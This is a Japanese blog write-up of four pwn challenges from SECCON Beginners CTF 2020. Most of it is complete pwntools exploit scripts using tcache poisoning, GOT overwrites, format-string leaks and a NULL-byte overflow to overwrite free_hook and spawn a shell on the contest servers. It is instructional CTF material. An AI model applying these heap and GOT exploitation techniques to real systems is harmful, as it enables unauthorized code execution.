newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 29.0】SECCON Beginners CTF2020: writeup供養

 

keywords

GOT exploit / sophisticated beginners chall / FSA / NULL-overflow to invoke consolidation

 

 

 

 

1: イントロ

いつぞや開催された SECCON Beginners CTF 2020

競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、課題レポートをやったりしていましたが、終了後に全て解きました

折角なのでwriteupを供養します

 

 

 

2: Beginner's Heap

Point

めちゃめちゃ良い教材だと思います、1年前に出会いたかった...

 

概要

libc2.29におけるtcacheの問題

指示されたとおりにやっていればflagが貰えるようになっている

 

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys


rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server
rhp2 = {'host':"localhost",'port':12300} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')

def exploit(conn):
  conn.recvuntil("free_hook>: ")
  freehook = int(conn.recvline().rstrip(),16)
  conn.recvuntil("win>: ")
  win = int(conn.recvline().rstrip(),16)
  conn.recvuntil("hint")

  print("win: "+hex(win))
  print("freehook: "+hex(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("A"*8)
  
  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("hoge")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x18 + p64(0x31))

  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.send(p64(win))

  conn.recvuntil("> ")
  conn.sendline("3")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

3: Elementary Stack

問題概要

自明なOOBがありheapへのポインタを書換えてGOT overwrite

 

point

got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため1個上のgot[malloc]を書き換える

あとは FSA で libcbase を leak して終わり

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "chall"

rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server
rhp2 = {'host':"localhost",'port':12800} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

def hoge(conn,ix,val):
  conn.recvuntil("index: ")
  conn.sendline(str(ix))
  conn.recvuntil("value: ")
  conn.sendline(str(val))


def fuga(conn,ix,val,piyo=True):
  conn.recvuntil("index: ")
  conn.send(ix)
  if piyo:
    conn.recvuntil("value: ")
    conn.send(val)

off_system = 0x4f440

def exploit(conn):
  hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意)
  fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak
  
  libcbase = int(conn.recvline(),16) - 0x21b97
  
  fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

4: ChildHeap

問題概要

- double free可能(libc2.29だから死ぬけど)

- 任意size malloc可能

- ユーザ側で保持できるchunkは一つ

- NULL overflow

- chunkをfree()するかfloat状態にさせておくかは自由

 

point

libc 2.29の誘導なしheap問

但しやることは突飛なことはないが、chunkが一つしか保持できないため若干面倒

まずNULL overflowを利用してtcacheのsizeを0x100に変えていきtcache[0x100]を溢れさせる

その途中でtcacheのfdを読んでheapbaseをleakしておく

 

あとはいい感じに chunk forge して back consolidationoverlapped chunk を作って

libcbase leak と freehook overwrite をする

 

ここらへんは正直メモリを眺めながら何となくでexploitを書いていればできるため、上手く説明のしようがないが

このあとのexploitでにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した

 

f:id:smallkirby:20200525203103p:plain

Fig.1

f:id:smallkirby:20200525203121p:plain

Fig.2

f:id:smallkirby:20200525203136p:plain

Fig.3

f:id:smallkirby:20200525203149p:plain

Fig.4

 

exploit

自分の書いたPoCでは割と回りくどいことをしていたため、解き直して作問者様のPoCに寄せた

Fig.1~4と書いてある時点のヒープレイアウトが上の画像に対応している

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./childheap"

rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.29.so")

ogs = [0xe237f,0xe2383,0xe2386,0x106ef8]

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def alloc(conn,size,content):
  hoge(conn,1)
  conn.recvuntil("Size: ")
  conn.sendline(str(size))
  conn.recvuntil("Content: ")
  conn.send(content)

def delete(conn,yesno=True):
  hoge(conn,2)
  conn.recvuntil("Content: '")
  data = conn.recvuntil("'")[:-1]
  conn.recvuntil("] ")
  if yesno:
    conn.sendline("y")
  else:
    conn.sendline("n")
  return data

def wipe(conn):
  hoge(conn,3)

def de(conn):
  delete(conn)
  wipe(conn)

def ade(conn,size,overflow=False):
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  de(conn)

def aw(conn,size,overflow=False): # without delete
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  wipe(conn)

off_libc = 0x1e4e90
off_freehook = 0x1e75a8
off_system = 0x52fd0

def exploit(conn):
  ssize = 0x18#0x28
  msize = 0xf8
  lsize = 0x108#0x128

  ## fulfill tcache
  ade(conn,msize)
  for i in range(0x5):
    ade(conn,ssize)
    ade(conn,lsize)
    aw(conn,ssize,True)
    ade(conn,lsize)
      # now tcache has 6 chunks, 5 of them have fake size

  ## leak heap addr
  alloc(conn,msize,"A"*8)
  delete(conn)
  heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710
  print("heapbase: "+hex(heapbase))
  wipe(conn)


  ## forge fake chunk
  fake1 = "B" * 0x30
  fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0)
  fake2 = p64(0) + p64(0x100)
  fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990)
  ade(conn,ssize)
  ade(conn,lsize)
  aw(conn,ssize,True)
  alloc(conn,lsize,fake1+fake2) 
  de(conn)
  print("Fig.1")
                  # tcache[0x100] is full

  ade(conn,ssize+0x20)
  ade(conn,lsize)
  alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2)
  wipe(conn)
  alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow
  de(conn)
  print("Fig.2")

  alloc(conn,lsize,(p64(0)+p64(0x21))*0x10)
  print("Fig.3")
  de(conn) # consolidate
  print("Fig.4")

  ## leak libcbase
  alloc(conn,0,"")
  libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc
  print("libcbase: "+hex(libcbase)) 
  de(conn)

  ## 
  print("free_hook: "+hex(libcbase+off_freehook))
  inj = "D"*0xa0
  inj += p64(libcbase + off_freehook)
  inj += p64(heapbase + 0x10)
  alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd
  wipe(conn)
  alloc(conn,ssize+0x20,"G"*8) #
  wipe(conn)
  alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook
  wipe(conn)

  alloc(conn,0x70,"/bin/sh\x00")
  delete(conn,True)



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

5: flip

問題概要

一番難しかった

終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに

何故か解くまでにめちゃくちゃ時間がかかった

というかGOT問が苦手なのかもしれない

 

point

- GOT overwrite (setbuf->puts)

- 相対書換え

got[_stack_chk_fail] と got[exit] の書換えを上手く使いわけて、setbufが呼ばれるループ・呼ばれないループを作り上げる

なお終盤まで flip 操作を暗算で行おうとしていたため、脳が死亡した

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "flip"

rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

ogs = [0x4f2c5,0x4f322,0x10a38c]

def hoge(conn,target,n1,n2):
  conn.recvuntil(">> ")
  conn.sendline(str(target))
  conn.recvuntil(">> ")
  conn.sendline(str(n1))
  conn.recvuntil(">> ")
  conn.sendline(str(n2))

def fuga(conn,target,_from,_to):
  diff = _from ^ _to
  nums = []
  tmp = -10
  for i,c in enumerate(bin(diff)[2:][::-1]):
    if c=='1':
      nums = nums + [i]
  print(nums)

  while len(nums)>0:
    n1 = nums[0]
    nums = nums[1:]
    if len(nums) == 0:
      n2 = tmp
    else:
      n2 = nums[0]
      nums = nums[1:]

    if n2 != tmp:
      if n1//8 != n2//8:
        nums = [n2] + nums
        n2 = tmp
        #print("{} {} {}".format(n1//8,n1%8,n2))
        hoge(conn,target+(n1//8),n1%8,n2)
      else:
        #print("{} {} {}".format(n1//8,n1%8,n2%8))
        hoge(conn,target+(n1//8),n1%8,n2%8)
    else:
      #print("{} {} {}".format(n1//8,n1%8,n2))
      hoge(conn,target+(n1//8),n1%8,n2)



def exploit(conn):
  #got exit を start に
  hoge(conn,binf.got["exit"],4,5) # got_exit into start+6
  hoge(conn,binf.got["exit"],1,2) # got_exit into start

  ## start loop
  # stack_chk_fail into main
  fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa)
  # got[exit] to plt[stack_chk_fail]
  fuga(conn,binf.got["exit"],0x06e0,0x0670)

  ## main loop
  # got[setbuf] into puts
  fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0)
  # got[exit] into start
  fuga(conn,binf.got["exit"],0x70,0xe0)

  ## start loop
  # stderr into stderr+0x8
  fuga(conn,binf.symbols["stderr"],0x80,0x88)
  conn.recvuntil("Done!\n")
  conn.recvuntil("\n")
  libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703
  print("[+] libcbase: "+hex(libcbase))

################# 以降自由な世界 運が必要ないって素晴らしい ##################

  # got[exit] into plt[stack_chk_fail]+6
  hoge(conn,binf.got["exit"],4,7)
  # got[setbuf] into system
  fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"])
  # stderr->flag into /bin/sh\x00
  fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00"))
  # stderr into stderr
  fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"])

  # got[stack_chk_fail] into start
  fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"])

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

 

6: アウトロ

ルクセンブルクって

ル・クセンブルクなのか

ルクセンブル・クなのか分からないし、

ルクセンブルク大統領に至っては

ル・クセンブルク大統・領なのか

ル・クセンブル・ク大・統領なのかわかんないよな........

 

 

 

 

続く・・・

 

 

 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.